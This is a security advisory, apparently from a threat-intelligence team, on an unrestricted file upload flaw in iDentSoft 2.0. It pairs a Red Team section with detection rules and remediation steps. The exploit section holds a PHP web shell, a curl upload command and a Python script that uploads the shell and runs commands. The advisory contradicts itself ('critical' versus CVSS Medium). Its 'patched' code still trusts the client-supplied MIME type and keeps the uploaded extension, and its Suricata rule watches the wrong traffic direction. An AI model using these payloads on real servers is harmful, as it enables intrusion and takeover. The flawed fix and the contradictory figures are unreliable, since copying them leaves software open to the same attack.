CVE-2025-7898

Executive Summary

CVE-2025-7898 is a critical unrestricted file upload vulnerability identified in Codecanyon iDentSoft version 2.0. The flaw resides in the /clinica/profile/updateSetting endpoint of the Account Setting Page, where the photo argument is not properly sanitized, allowing an authenticated attacker to upload arbitrary files to the server. This can lead to remote code execution (RCE), data exfiltration, or full server compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, and the EPSS score is 0.0%, indicating low exploitation probability at this time, but the public disclosure warrants immediate attention.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP application (iDentSoft) distributed via Codecanyon, a marketplace for PHP scripts. The supply chain risk is limited to the application itself and its dependencies.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid user account.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited file modification.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. While the CVSS score is moderate, the public exploit and potential for RCE elevate the risk. The requirement for authentication reduces the attack surface but does not eliminate it.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the updateSetting functionality of the Account Setting page. The application fails to validate the file type, size, or content of the uploaded photo parameter. An authenticated user can upload a malicious PHP file (e.g., a web shell) to the server's web root or an accessible directory. Once uploaded, the attacker can access the file directly via a web browser, leading to remote code execution.

Attack Flow:

1. Attacker authenticates to iDentSoft (e.g., as a regular user).
2. Attacker crafts a malicious PHP file (e.g., shell.php) containing a web shell payload.
3. Attacker sends a POST request to /clinica/profile/updateSetting with the photo parameter set to the malicious file.
4. The server saves the file to a predictable location (e.g., /uploads/ or /clinica/profile/).
5. Attacker accesses the uploaded file via a web browser (e.g., http://target.com/uploads/shell.php).
6. The web shell executes, granting the attacker control over the server.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the updateSetting handler. A typical vulnerable PHP snippet might look like:

// Vulnerable code (iDentSoft 2.0)
if (isset($_FILES['photo'])) {
    $target_dir = "uploads/";
    $target_file = $target_dir . basename($_FILES["photo"]["name"]);
    move_uploaded_file($_FILES["photo"]["tmp_name"], $target_file);
}

A patched version would include validation:

// Patched code (hypothetical)
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$max_size = 2 * 1024 * 1024; // 2MB

if (isset($_FILES['photo'])) {
    if (!in_array($_FILES['photo']['type'], $allowed_types)) {
        die("Invalid file type.");
    }
    if ($_FILES['photo']['size'] > $max_size) {
        die("File too large.");
    }
    $target_dir = "uploads/";
    $target_file = $target_dir . uniqid() . "." . pathinfo($_FILES["photo"]["name"], PATHINFO_EXTENSION);
    move_uploaded_file($_FILES["photo"]["tmp_name"], $target_file);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid user account on iDentSoft 2.0.
• Network access to the target server.

Exploit Steps:

1. Craft a Web Shell: Create a PHP file (e.g., shell.php) with a simple payload:

   <?php system($_GET['cmd']); ?>
   

2. Upload the Shell: Use curl to send the malicious file:

   curl -X POST -F "photo=@shell.php" -c cookies.txt -b cookies.txt http://target.com/clinica/profile/updateSetting
   

3. Execute Commands: Access the uploaded shell:

   curl http://target.com/uploads/shell.php?cmd=id
   

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()

# Login (adjust credentials)
login_data = {"username": "user", "password": "pass"}
session.post(f"{target}/login", data=login_data)

# Upload shell
files = {"photo": ("shell.php", "<?php system($_GET['cmd']); ?>", "image/jpeg")}
session.post(f"{target}/clinica/profile/updateSetting", files=files)

# Execute command
r = session.get(f"{target}/uploads/shell.php?cmd=id")
print(r.text)

Blue Team (Defensive)

Detection:

• Monitor for unusual file uploads to /clinica/profile/updateSetting.
• Alert on files with double extensions (e.g., shell.php.jpg) or non-image MIME types.
• Use WAF rules to block uploads of executable files (.php, .phtml, .php5).

Honeypot:

• Deploy a fake upload endpoint that logs all attempts and alerts SOC.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • POST requests to /clinica/profile/updateSetting with Content-Type: multipart/form-data.
  • Subsequent GET requests to /uploads/*.php.
• File System Indicators:
  • Unexpected .php files in /uploads/ or /clinica/profile/ directories.
  • Files with <?php content in upload directories.

Detection Engineering

YARA Rule

rule CVE_2025_7898_WebShell_Upload {
    meta:
        description = "Detects web shell upload attempts targeting iDentSoft CVE-2025-7898"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7898"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_exec = "shell_exec("
        $exec_func = "exec("
        $passthru = "passthru("
        $backticks = "`"
    condition:
        ($php_tag and ($system_func or $shell_exec or $exec_func or $passthru or $backticks))
        and filesize < 10KB
}

Sigma Rule

title: CVE-2025-7898 - Unrestricted File Upload to iDentSoft
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /clinica/profile/updateSetting with file uploads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/clinica/profile/updateSetting'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate profile photo updates
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7898 - iDentSoft Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/clinica/profile/updateSetting"; http_uri; content:"multipart/form-data"; http_header; pcre:"/filename=\".*\.php\"/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable File Upload: Temporarily disable the profile photo upload feature in the application configuration.
2. Web Application Firewall (WAF): Deploy WAF rules to block uploads of .php, .phtml, .php5, .shtml, and other executable extensions.
3. Input Validation: Implement server-side validation to allow only image MIME types (e.g., image/jpeg, image/png).
4. File Storage: Store uploaded files outside the web root and serve them via a script that enforces content-type headers.
5. Authentication Hardening: Enforce strong passwords and multi-factor authentication (MFA) to reduce the risk of account compromise.

Long-Term Fix:

• Apply the official patch from Codecanyon when available.
• Conduct a security audit of the entire application.
• Implement a Content Security Policy (CSP) to mitigate XSS if combined with file upload.

Report generated by Valters IT DevSecOps & CTI Division